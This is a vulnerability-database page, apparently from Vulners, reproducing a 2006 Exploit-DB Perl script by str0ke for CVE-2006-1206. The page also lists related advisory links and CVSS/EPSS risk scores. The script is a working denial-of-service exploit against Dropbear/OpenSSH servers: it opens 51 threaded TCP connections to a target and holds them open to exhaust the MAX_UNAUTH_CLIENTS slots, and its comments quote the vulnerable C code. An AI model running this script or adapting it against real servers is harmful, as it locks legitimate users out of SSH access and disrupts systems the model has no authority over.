Lucene search
+L

Dropbear / OpenSSH Server - 'MAX_UNAUTH_CLIENTS' Denial of Service

🗓️ 10 Mar 2006 00:00:00Reported by str0keType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 46 Views

Dropbear / OpenSSH Server 'MAX_UNAUTH_CLIENTS' Denial of Service exploit using Per

Related
Code
ReporterTitlePublishedViews
Family
Tenable Nessus
Dropbear SSH Server < 0.48.0 DoS
8 Mar 200600:00
nessus
Tenable Nessus
Dropbear SSH Authorization-pending Connection Saturation DoS
8 Mar 200600:00
nessus
CVE
CVE-2006-1206
14 Mar 200601:00
cve
Cvelist
CVE-2006-1206
14 Mar 200601:00
cvelist
Debian CVE
CVE-2006-1206
14 Mar 200601:00
debiancve
EUVD
EUVD-2006-1210
7 Oct 202500:30
euvd
NVD
CVE-2006-1206
14 Mar 200601:06
nvd
OpenVAS
Dropbear < 0.48 Multiple Vulnerabilities
14 Nov 201400:00
openvas
OSV
DEBIAN-CVE-2006-1206
14 Mar 200601:06
osv
Prion
Code injection
14 Mar 200601:06
prion
Rows per page
#!/usr/bin/perl
## I needed a working test script so here it is.
## just a keep alive thread, I had a few problems with Pablo's code running properly.
##
## Straight from Pablo Fernandez's advisory:
# Vulnerable code is in svr-main.c
#
# /* check for max number of connections not authorised */
# for (j = 0; j < MAX_UNAUTH_CLIENTS; j++) {
#        if (childpipes[j] < 0) {
#                break;
#        }
# }
#
# if (j == MAX_UNAUTH_CLIENTS) {
#        /* no free connections */
#        /* TODO - possibly log, though this would be an easy way
#         * to fill logs/disk */
#        close(childsock);
#        continue;
# }
## /str0ke (milw0rm.com)

use IO::Socket;
use Thread;
use strict;

# thanks to Perl Underground for my moronic coding style fixes.
my ($serv, $port, $time) = @ARGV;

sub usage
{
	print "\nDropbear / OpenSSH Server (MAX_UNAUTH_CLIENTS) Denial of Service Exploit\n";
	print "by /str0ke (milw0rm.com)\n";
	print "Credits to Pablo Fernandez\n";
	print "Usage: $0 [Target Domain] [Target Port] [Seconds to hold attack]\n";
	exit ();
}

sub exploit
{
	my ($serv, $port, $sleep) = @_;
	my $sock = new IO::Socket::INET ( PeerAddr => $serv,
	PeerPort => $port,
	Proto => 'tcp',
	);

	die "Could not create socket: $!\n" unless $sock;
	sleep $sleep;
	close($sock);
}

sub thread {
	print "Server: $serv\nPort: $port\nSeconds: $time\n";
	for my $i ( 1 .. 51 ) {
		print ".";
		my $thr = new Thread \&exploit, $serv, $port, $time;
	}
	sleep $time; #detach wouldn't be good
}

if (@ARGV != 3){&usage;}else{&thread;}

# milw0rm.com [2006-03-10]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Jun 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.11671
46